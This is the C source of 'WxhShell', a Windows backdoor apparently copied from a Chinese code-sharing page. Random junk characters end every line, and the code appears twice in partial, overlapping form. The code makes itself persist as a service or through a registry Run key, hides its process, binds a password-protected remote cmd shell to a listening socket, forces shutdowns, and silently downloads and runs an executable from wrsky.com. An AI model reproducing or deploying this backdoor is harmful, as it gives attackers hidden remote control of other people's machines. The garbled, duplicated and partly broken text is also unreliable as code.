    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fs=E8' b  
    else { H~ >\HV*  
    closesocket(wsh); Tz\v.&? $  
    ExitThread(0); Nh4&3"g|  
    } CzDg?wb  
    break; &RHx8zScP  
    } K\lu;   
  // 关机 zE}ry!{  
  case 'd': { <]`|HJoy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,n>K$  
    if(Boot(SHUTDOWN)) ;__k*<+{.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k&u5`F  
    else { k$7Kz"  
    closesocket(wsh); ej(< Le\  
    ExitThread(0); LzEH&y_O  
    } THCvcU?X  
    break; >pq=5Ha&  
    } C,<FV+r=^  
  // 获取shell uCWBM  
  case 's': { [raj: 7yQ  
    CmdShell(wsh); S\k(0Sv9D  
    closesocket(wsh); o7v9xm+  
    ExitThread(0); ;_=dB[M  
    break; zItGoJu  
  } %wJ?+D/  
  // 退出 zmFKd5  
  case 'x': { 3JF" O+@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UH5A;SrTqR  
    CloseIt(wsh); z<cPy)F]"  
    break; ySlGqR1H  
    } ZJjm r,1  
  // 离开 Vk1 c14i>  
  case 'q': { `@<)#9'A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h4~VzCR4x\  
    closesocket(wsh); 5F 8'f)  
    WSACleanup(); I]91{dq  
    exit(1); iVM% ]\  
    break; )Tn(!.  
        } M=5hp&=  
  } \@ N[  
  } "Z-YZ>2  
axkNy}ct  
  // 提示信息 NV2$ >D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OuPfB  
} P@Pe5H"o  
  } 'H1k  
`4qtmbj  
  return; A_.}- dzF  
} `2G%&R,k"D  
kNrd=s,-]D  
// shell模块句柄 ng[LSB*57Y  
int CmdShell(SOCKET sock) |1+ mHp  
{ d}^hZ8k|  
STARTUPINFO si; x^YsXzu  
ZeroMemory(&si,sizeof(si)); j>hBNz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <M,=( p{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,esUls'nz'  
PROCESS_INFORMATION ProcessInfo; [O3)s]|  
char cmdline[]="cmd"; z{U^j:A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); % )}rQqQ  
  return 0; (/_w23rr  
} [](] "r  
C'joJEo  
// 自身启动模式 O F?o  
int StartFromService(void) ^`9O$.'@  
{ mbIHzzW>  
typedef struct (+bt{Ma  
{ hx}X=7w  
  DWORD ExitStatus; B(R$5Xp  
  DWORD PebBaseAddress; ,Q+.kAh !G  
  DWORD AffinityMask; h,i=Y+1  
  DWORD BasePriority; 2)|G%f_lS  
  ULONG UniqueProcessId; Okd7ua-f  
  ULONG InheritedFromUniqueProcessId; *Ud P1?Y  
}   PROCESS_BASIC_INFORMATION; p2wDk^$  
)JR&  
PROCNTQSIP NtQueryInformationProcess; >ZnnGX6$(  
R& HkWe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x\Kt}/97e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nX+c HF  
 :LTjV"f  
  HANDLE             hProcess; AK$i0Rn;pm  
  PROCESS_BASIC_INFORMATION pbi; ?Pt*4NaT;  
di~ [Ivw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `_pVwa<@w  
  if(NULL == hInst ) return 0; %$+bO/f  
 ]l=iKl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F%:o6mT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6LzN#g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g_(O7  
w+{ o^ O  
  if (!NtQueryInformationProcess) return 0; A1aN<!ehB  
'.t{\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FN D+Ok&  
  if(!hProcess) return 0; k6|/ik9C  
7,R ~2ss5z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; na] 9-~4  
=O~Y6|  
  CloseHandle(hProcess); <e$%m(]  
7vB6IF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vF'Y; M  
if(hProcess==NULL) return 0; D'"l%p  
~PedR=Y0n  
HMODULE hMod; i$XT Qr0K=  
char procName[255]; u 236a\:  
unsigned long cbNeeded;  e3%dNa  
/wJocx]vQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c/-PEsk_TP  
l\{r-F N  
  CloseHandle(hProcess); q.d qr<  
OCWyp  
if(strstr(procName,"services")) return 1; // 以服务启动 }?,Eb~q  
X GDJCN  
  return 0; // 注册表启动 1 o\COnt  
} ~4`3p=$  
+}^^]J$Nh  
// 主模块 lN[#+n  
int StartWxhshell(LPSTR lpCmdLine) +qM2&M  
{ NrfAr}v'E  
  SOCKET wsl; g,\O}jT\'  
BOOL val=TRUE; W,[iRmxn  
  int port=0; 6G>loNM^  
  struct sockaddr_in door; I\$?'q>  
k$ w#:Sx  
  if(wscfg.ws_autoins) Install(); 0Q:l,\lY  
;% l0Ml>  
port=atoi(lpCmdLine); _?;74VWA  
fI-f Gx  
if(port<=0) port=wscfg.ws_port; <d$t*vnq  
v=?/c-J*  
  WSADATA data; p w=o}-P{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O`0\f8/.?  
OBnvY2)Ri  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uB+ :sX-L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XOPiwrg%p  
  door.sin_family = AF_INET; ]?0]K!7Ea  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FtybF  
  door.sin_port = htons(port); ]oyWJ#8  
<y,c.\c!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;Bne=vjQp  
closesocket(wsl); @e^(V$ap  
return 1; 5_4 =(?<  
} eVGW4b  
Poxoc-s  
  if(listen(wsl,2) == INVALID_SOCKET) { F|?}r3{aJ  
closesocket(wsl); C$`^(?iO/  
return 1; NdM \RD_R  
} w9CX5Fg  
  Wxhshell(wsl); xgZ<. r  
  WSACleanup(); [ lE^0_+  
]1|OQYG  
return 0; a*!9RQ  
9Q&]5| x  
} 6'jgjWEe3&  
4+F@BxpB  
// 以NT服务方式启动 M8f[ck  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \}; 4rm}V  
{ |pR'#M4j4A  
DWORD   status = 0; (%*~5%l\  
  DWORD   specificError = 0xfffffff; 8,]wOxwqi  
FOS*X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /7K7o8g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *xDV8iu_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E^x/v_,$w!  
  serviceStatus.dwWin32ExitCode     = 0; d"}lh:L9  
  serviceStatus.dwServiceSpecificExitCode = 0; gyOAvx  
  serviceStatus.dwCheckPoint       = 0; <P-AlHYV-  
  serviceStatus.dwWaitHint       = 0; a#+;BH 1  
#[y2nK3zF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6Bn}W ?  
  if (hServiceStatusHandle==0) return; Dx.hM[  
Kj#h9e  
status = GetLastError(); Nd**":i$  
  if (status!=NO_ERROR) =Kt!+^\")  
{ UW-`k1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^'4I%L"  
    serviceStatus.dwCheckPoint       = 0; d@{#F"o  
    serviceStatus.dwWaitHint       = 0; SHqz &2u  
    serviceStatus.dwWin32ExitCode     = status; N`7+] T  
    serviceStatus.dwServiceSpecificExitCode = specificError; /n3SE0Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P7;q^jlB  
    return; BJnysQ  
  } t[\6/`YH  
9&1$\ZH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f!JSb?#3  
  serviceStatus.dwCheckPoint       = 0; oX?~  
  serviceStatus.dwWaitHint       = 0; gg$:U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *)Pb-c  
} [m9=e-KS$Q  
4&H&zST//m  
// 处理NT服务事件,比如:启动、停止 |i- S}M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "_ON0._(/  
{ Ob|v$C  
switch(fdwControl) 9zaSA,}  
{ EP6@5PNZ  
case SERVICE_CONTROL_STOP: KZ|p_{0&  
  serviceStatus.dwWin32ExitCode = 0; ^- s`$lTp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,/UuXX  
  serviceStatus.dwCheckPoint   = 0; ab*O7v  
  serviceStatus.dwWaitHint     = 0; W(PNw2  
  { u\=yY.   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -9$.&D|  
  } \|$GBU  
  return; Qe]aI7Ei  
case SERVICE_CONTROL_PAUSE: 2z9N/SyN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^1X 6DH`  
  break; gA&`vnNP  
case SERVICE_CONTROL_CONTINUE: sh}eKwh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'HvJ]}p  
  break; M(W-\ L  
case SERVICE_CONTROL_INTERROGATE: G[Jz(/yNH  
  break; ?cgb3^R'  
}; x24&mWgU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *TYOsD**9  
} 1#nY Z%  
l!%V&HJV  
// 标准应用程序主函数 w,zm!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >C}KSyV;  
{ d>x(Bj6  
>!#or- C  
// 获取操作系统版本 i^V3u  
OsIsNt=GetOsVer(); fs*OR2YG7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +}NQ |y V  
zO3}c3D~q  
  // 从命令行安装 "Fqrk>Q~  
  if(strpbrk(lpCmdLine,"iI")) Install(); 42wZy|oqp  
W+aW2  
  // 下载执行文件 %DhLU~VX  
if(wscfg.ws_downexe) { tdn|mX#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +=(@=PJ6  
  WinExec(wscfg.ws_filenam,SW_HIDE); iU4Z9z!  
} : W0;U  
[)nU?l  
if(!OsIsNt) { 64f6D"."  
// 如果时win9x,隐藏进程并且设置为注册表启动 rqhRrG{L|&  
HideProc(); 2yA+zJ 46B  
StartWxhshell(lpCmdLine); 8<Ex`  
} N-}|!pqb  
else .< -~k@ P  
  if(StartFromService()) x$6FvgP(  
  // 以服务方式启动 cDh\$7'b  
  StartServiceCtrlDispatcher(DispatchTable); ` NWmwmWB"  
else H:X(><J  
  // 普通方式启动 $ZnVs@:S  
  StartWxhshell(lpCmdLine); G/V0Yn""  
/4,U@s)"/  
return 0; pe-%`1iC0>  
} XI;F=r}'  
RzqU`<//  
6('xIE(R  
x!A5j $k0  
=========================================== ;`FR1KIg  
n$3w=9EX *  
ex)U'.^  
B[[1=  
:/i13FQ  
~{!,ZnO*  
" j4Y] 8  
zWf(zxGAz  
#include <stdio.h> 9v76A~~  
#include <string.h> mH!\]fmR~  
#include <windows.h> o.>Yj)U  
#include <winsock2.h> =<z~OE'lV  
#include <winsvc.h> BHZSc(-o  
#include <urlmon.h> I7jIA>ZZi  
^tl&FWF  
#pragma comment (lib, "Ws2_32.lib") 1:Xg&4s  
#pragma comment (lib, "urlmon.lib") !4mAZF b  
bE2{^5iG  
#define MAX_USER   100 // 最大客户端连接数 A9M/n^61  
#define BUF_SOCK   200 // sock buffer RJLhR_t7n  
#define KEY_BUFF   255 // 输入 buffer #oEq)Vq>g|  
(eO_]<wmky  
#define REBOOT     0   // 重启 q4ej7T8  
#define SHUTDOWN   1   // 关机 @{x+ln1r  
]C$$Cx)Ex  
#define DEF_PORT   5000 // 监听端口 <`*v/D7\02  
U<U?&hB\@  
#define REG_LEN     16   // 注册表键长度 M,bcTa8  
#define SVC_LEN     80   // NT服务名长度 8Tm/gzx  
mcSZ1d~,(  
// 从dll定义API gBE1a w;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <& =3g/Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gYfOa`k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^uIKwql  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 73(5.'F  
%)j^>W5  
// wxhshell配置信息 dhI+_z   
struct WSCFG { zK&J2P`  
  int ws_port;         // 监听端口 f9J]-#Iif  
  char ws_passstr[REG_LEN]; // 口令 l[{Ci|4  
  int ws_autoins;       // 安装标记, 1=yes 0=no o)Nm5g  
  char ws_regname[REG_LEN]; // 注册表键名 5C"A*Fg?;  
  char ws_svcname[REG_LEN]; // 服务名 2T}FX4'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *mfPq"/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Aq{7WA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a: [m;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ceNJXK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  `/eh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K<7 Db4H  
rYk   
}; uCGn9]  
jX 6+~  
// default Wxhshell configuration q<?r5H5  
struct WSCFG wscfg={DEF_PORT, LX iis)1  
    "xuhuanlingzhe", 0vdnM8N2  
    1, *Y- rEF>  
    "Wxhshell", gBXJ/BW$y  
    "Wxhshell", BZ@v8y _TA  
            "WxhShell Service", Wx-rW  
    "Wrsky Windows CmdShell Service", ,ikn%l#cm  
    "Please Input Your Password: ", /BfCh(B  
  1, B,RHFlp{  
  "http://www.wrsky.com/wxhshell.exe", ~n!7 ?4%U  
  "Wxhshell.exe" C~:!WRCz  
    }; iVb#X#  
wq`\p['Q,  
// 消息定义模块 p?eQN Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HZzdelo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "=XRonQZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !FJ_\UST0  
char *msg_ws_ext="\n\rExit."; "Yf?33UNZ  
char *msg_ws_end="\n\rQuit."; Qv:J#uVw?O  
char *msg_ws_boot="\n\rReboot..."; |Xa|%f  
char *msg_ws_poff="\n\rShutdown..."; K6z-brvw "  
char *msg_ws_down="\n\rSave to "; K9f7,/  
%TRH,-@3h  
char *msg_ws_err="\n\rErr!"; n"Q fW~U  
char *msg_ws_ok="\n\rOK!"; [:C!g#o  
Xu&4|$wB+  
char ExeFile[MAX_PATH]; MA5BTq<&  
int nUser = 0; ?3Dsz  
HANDLE handles[MAX_USER]; vCtag]H2@  
int OsIsNt; 6d|%8.q1  
>,%7bq=T!  
SERVICE_STATUS       serviceStatus; .%N*g[J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ppo\cy;  
OX/}j_8E^(  
// 函数声明 OPwO`pN  
int Install(void); Oz_|pu  
int Uninstall(void); 3ZU<u;  
int DownloadFile(char *sURL, SOCKET wsh); &y=~:1&f  
int Boot(int flag); pM'AhzS  
void HideProc(void); oFUP`p%[  
int GetOsVer(void); a]|k w4  
int Wxhshell(SOCKET wsl);  <IL$8a  
void TalkWithClient(void *cs); )9JuQ_ R  
int CmdShell(SOCKET sock); +{S^A)  
int StartFromService(void); ce P1mO  
int StartWxhshell(LPSTR lpCmdLine); *ocbV`  
>VWH bo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #3act )m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -QUvd1S40  
[XP3  
// 数据结构和表定义 rnC u=n  
SERVICE_TABLE_ENTRY DispatchTable[] = /4n:!6rt  
{ DV!) n 6  
{wscfg.ws_svcname, NTServiceMain}, d ;W(Vm6  
{NULL, NULL} 5UHxB"`C  
}; h *-j  
=1Mh %/y  
// 自我安装 7lz"^  
int Install(void) jNA^ (|:  
{ d>qxaX;  
  char svExeFile[MAX_PATH]; |);-{=.OdQ  
  HKEY key; ^~%z Plv  
  strcpy(svExeFile,ExeFile); Skd,=r  
y~\K~qjd  
// 如果是win9x系统,修改注册表设为自启动 )#l,RJ(  
if(!OsIsNt) { @7aSq-(_l*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _ s[v:c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zn|/h,.  
  RegCloseKey(key); @}cZxFQ!C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `Dco!ih  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kf<5`8  
  RegCloseKey(key); * F T )`  
  return 0; bqDHLoB\1  
    } Hc{0O7  
  } qSWnv`hL  
} pZ4]oK\*  
else { P$=Y5   
yy6?16@  
// 如果是NT以上系统,安装为系统服务 "cUCB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vc_ 5!K%[  
if (schSCManager!=0) 2!35Tj"RFE  
{ $xf{m9 8  
  SC_HANDLE schService = CreateService ,@Izx  
  ( Z{ A)  
  schSCManager, *OQr:e<}  
  wscfg.ws_svcname, G:2m)0bW  
  wscfg.ws_svcdisp, ;9hi2_luV  
  SERVICE_ALL_ACCESS, -v(.]`Wo&;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &<E*W*b[  
  SERVICE_AUTO_START, w&7-:."1i  
  SERVICE_ERROR_NORMAL, 058+_xX  
  svExeFile, WurpHOJt+  
  NULL, ~D)!zQkD  
  NULL, $3Ct@}=n  
  NULL, I(dMiL  
  NULL, bNG;`VZ%  
  NULL Ge>%?\  
  ); B|Rnh;B-  
  if (schService!=0) yw%5W=<  
  { u9*}@{,  
  CloseServiceHandle(schService); xNh#=6__9  
  CloseServiceHandle(schSCManager); dik+BBu5z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N@>,gm@UU  
  strcat(svExeFile,wscfg.ws_svcname); +)Pv6Zog[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^vjN$JB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R;_U BQ)  
  RegCloseKey(key); ,rp-`E5ap  
  return 0; ,HxsU,xiG  
    } [~ sXjaL8  
  } *8uSy/l  
  CloseServiceHandle(schSCManager); GP5Y5 )  
} pCQB<6&1N  
} =;/4j'1}9  
,xew3c'(W  
return 1; b&;1b<BwD  
} XK (y ?Y1  
D %`64R  
// 自我卸载 D/w4u;E@  
int Uninstall(void) ? 5qo>W<7  
{ Ab <4F 7  
  HKEY key; -k p~p e*T  
D@i,dPz5Zl  
if(!OsIsNt) { [UVxtMJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $C UmRi{T  
  RegDeleteValue(key,wscfg.ws_regname); ,Z;z}{.hq  
  RegCloseKey(key); nz|;6?LCLY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NW`.RGLI<  
  RegDeleteValue(key,wscfg.ws_regname); uw@z1'D[i"  
  RegCloseKey(key); ,x?H]a)  
  return 0; {g2cm'hD  
  } IPU'M*|Q  
} .-;K$'YG  
} 6}.B2f9  
else { Ds$8$1=L=k  
Hut au^l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zn T85#]\@  
if (schSCManager!=0) U n#7@8,  
{ HM])m>KeT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JrTSu`S('  
  if (schService!=0) R$&|*0  
  { |i"A!r W  
  if(DeleteService(schService)!=0) { sD$ \!7:b  
  CloseServiceHandle(schService); )""i"/Mn  
  CloseServiceHandle(schSCManager); OYJy;u3"  
  return 0; {_1^ GIIS  
  } Z1FO.[FV  
  CloseServiceHandle(schService); -&#L4AM%(9  
  } M#JOX/  
  CloseServiceHandle(schSCManager); SzR0Mu3uK  
} [IVT0 i  
} eB78z@  
FDaHsiI:  
return 1; J'4{+Q_pa  
} XnQd(B`M  
O`O{n_o^u  
// 从指定url下载文件 c h<Fi%)  
int DownloadFile(char *sURL, SOCKET wsh) ]<q{0.  
{ jMUE&/k  
  HRESULT hr; cI4%z eR  
char seps[]= "/"; L`YnrDZK  
char *token; . ({aPtSt!  
char *file; hA?j"y0?  
char myURL[MAX_PATH]; ^ 3LM%B  
char myFILE[MAX_PATH]; ics  
l/yLSGjM  
strcpy(myURL,sURL); g/so3F%v .  
  token=strtok(myURL,seps); )1O *~%  
  while(token!=NULL) FpE83}@".w  
  { !&TbE@Xk  
    file=token; )$yqJ6y5  
  token=strtok(NULL,seps); geWis(#J  
  } C81+nR  
it\{#rb=4  
GetCurrentDirectory(MAX_PATH,myFILE); a=k+:=%y  
strcat(myFILE, "\\"); XZuJ<]}X,  
strcat(myFILE, file); a=gTGG"9  
  send(wsh,myFILE,strlen(myFILE),0); &Z5$ 5,[  
send(wsh,"...",3,0); 0G9@A8LU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Giz9jzF \  
  if(hr==S_OK) q|om^:n.  
return 0; ~R/7J{Sg  
else gE JmMh  
return 1; m:/@DZ  
%p"x|e  
} '/SMqmi  
SxC$EQ gL  
// 系统电源模块 $I-$X?  
int Boot(int flag) ExI?UGT  
{ ^o"9f1s5  
  HANDLE hToken; j*Q/vY!T  
  TOKEN_PRIVILEGES tkp; Gp$[u4-6M6  
nTY`1w.;  
  if(OsIsNt) { @.T'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |A 7Yv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :D-d`OyjG>  
    tkp.PrivilegeCount = 1; Ka2U@fK"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `?rPs8+R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @fT*fv   
if(flag==REBOOT) { p{!aRB%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NaG1j+LN  
  return 0; (iGk]Rtzt  
} v*QobI  
else { z]Z>+|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1QE-[|  
  return 0; l},*^Sn<5  
} Q <^'v>~n  
  } b.h~QyI/W  
  else { k$}XZ,Q  
if(flag==REBOOT) { O?D*<rwD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,Zzh.z::D  
  return 0; %fh ,e5(LT  
} M\,0<{  
else { &pK1S>t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <X j:c2@  
  return 0; WDY,?  
} x+nrdW+  
} Lh"Je-x<<  
@= 6}w_  
return 1; 3w ?)H  
} ,y,NVF  
i+Px &9o<9  
// win9x进程隐藏模块 KI-E=<zt  
void HideProc(void) z >vzXM  
{ it5].A&  
r3hj GcpaX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c _O| ?1  
  if ( hKernel != NULL ) ;yY>SaQ  
  { 3A4?9>g)KU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #; E,>0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jIZQ/xp8_  
    FreeLibrary(hKernel); -&M9Yg|Se  
  } nmc=RK^cM  
:De}5BMy  
return; G#)>D$Ck#  
} 4Me*QYD  
% &4sHDP  
// 获取操作系统版本 E0>4Q\n{  
int GetOsVer(void) @;fdf3ian  
{ ov#/v\|0  
  OSVERSIONINFO winfo; 5ts8o&|   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XkCbdb  
  GetVersionEx(&winfo); P00d#6hPJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tu6c!o,@  
  return 1; z++*,2F  
  else ^g~Asz5]  
  return 0; &y mfA{s  
} t}qoIxy)  
%xyt4}-)m  
// 客户端句柄模块 aoco'BR F  
int Wxhshell(SOCKET wsl) _z)G!_7.>\  
{ |`U^+Nf  
  SOCKET wsh; !?Z}b.%W  
  struct sockaddr_in client; ,78 QLh9:  
  DWORD myID; ' >`?T}a,  
+T [0r  
  while(nUser<MAX_USER) 5X|=qZ  
{ I^[R]Js  
  int nSize=sizeof(client); T}$1<^NK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Mm :6+  
  if(wsh==INVALID_SOCKET) return 1; {LbcG^k  
}7g\1l\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P@lExF*D1:  
if(handles[nUser]==0) `T{{wty  
  closesocket(wsh); d&(GIH E&d  
else X{9D fgW  
  nUser++; K:V_,[gO  
  } }v;@1[.B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c*1t<OAS~  
%QVX1\>]  
  return 0; -G(z!ed  
} +su>0'a  
<3LyNG.  
// 关闭 socket KU"? ZI  
void CloseIt(SOCKET wsh) y!1%Kqx1,n  
{ s)_7*DY  
closesocket(wsh); ]V<[W,*(5  
nUser--; :w#Zs)N  
ExitThread(0); Ii,e=RG>  
} {|^9y]VFu  
Um4 }`  
// 客户端请求句柄 I6M 7xn  
void TalkWithClient(void *cs) GW ?.b_6*  
{ *["9;_KD  
3K@dW"3  
  SOCKET wsh=(SOCKET)cs; UVUbxFq:  
  char pwd[SVC_LEN]; @%O"P9;s  
  char cmd[KEY_BUFF]; `]FA} wC  
char chr[1]; Vu*yEF}  
int i,j; &AU%3b  
bguhx3s  
  while (nUser < MAX_USER) { B$ +YK%I  
a,#f%#J\  
if(wscfg.ws_passstr) { I$n 0aR6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zob^z@2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5:hajXd  
  //ZeroMemory(pwd,KEY_BUFF); aM9^V MOb  
      i=0; \%KJ +PJ  
  while(i<SVC_LEN) { ' 6Ybf  
1wW8D>f]K  
  // 设置超时 X<x"\Yk  
  fd_set FdRead; ']ya_v~e  
  struct timeval TimeOut; Zi|MWaA.f  
  FD_ZERO(&FdRead); Zuo7MR  
  FD_SET(wsh,&FdRead); ^Gq4Yr  
  TimeOut.tv_sec=8; I .p26  
  TimeOut.tv_usec=0; y{uRh>l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V.XHjHT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6ALf`:  
js^@tgf$x&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oA(jtX[(  
  pwd=chr[0]; ^e"BY(  
  if(chr[0]==0xd || chr[0]==0xa) { IU{~{(p"  
  pwd=0; T@U_;v|rf  
  break; E=Ah_zKU  
  } ?uc=(J+6  
  i++; 38L8AJqD  
    } E&Pv:h,pV&  
1/j J;}  
  // 如果是非法用户,关闭 socket eZ[CqUJ&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^cZF#%k  
} 9jDV]!N4  
+6B(LPxgP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \tye:!a?;@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2IFri|;-eb  
^' lx5+-  
while(1) { e#:.JbJ:D  
uH^/\  
  ZeroMemory(cmd,KEY_BUFF); vd|PTHV_  
R61.!ql%w  
      // 自动支持客户端 telnet标准   ctTg-J2.  
  j=0; V()s! w  
  while(j<KEY_BUFF) { <*V%!pwIG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yH;=Y1([  
  cmd[j]=chr[0]; ` Xhj7%>  
  if(chr[0]==0xa || chr[0]==0xd) { N|O/3:P<,U  
  cmd[j]=0; N$aLCX  
  break; T6=c9f?7  
  } RI!!?hYm  
  j++; g;i>nzf  
    } B# |w}hj  
$ii/Q:w T"  
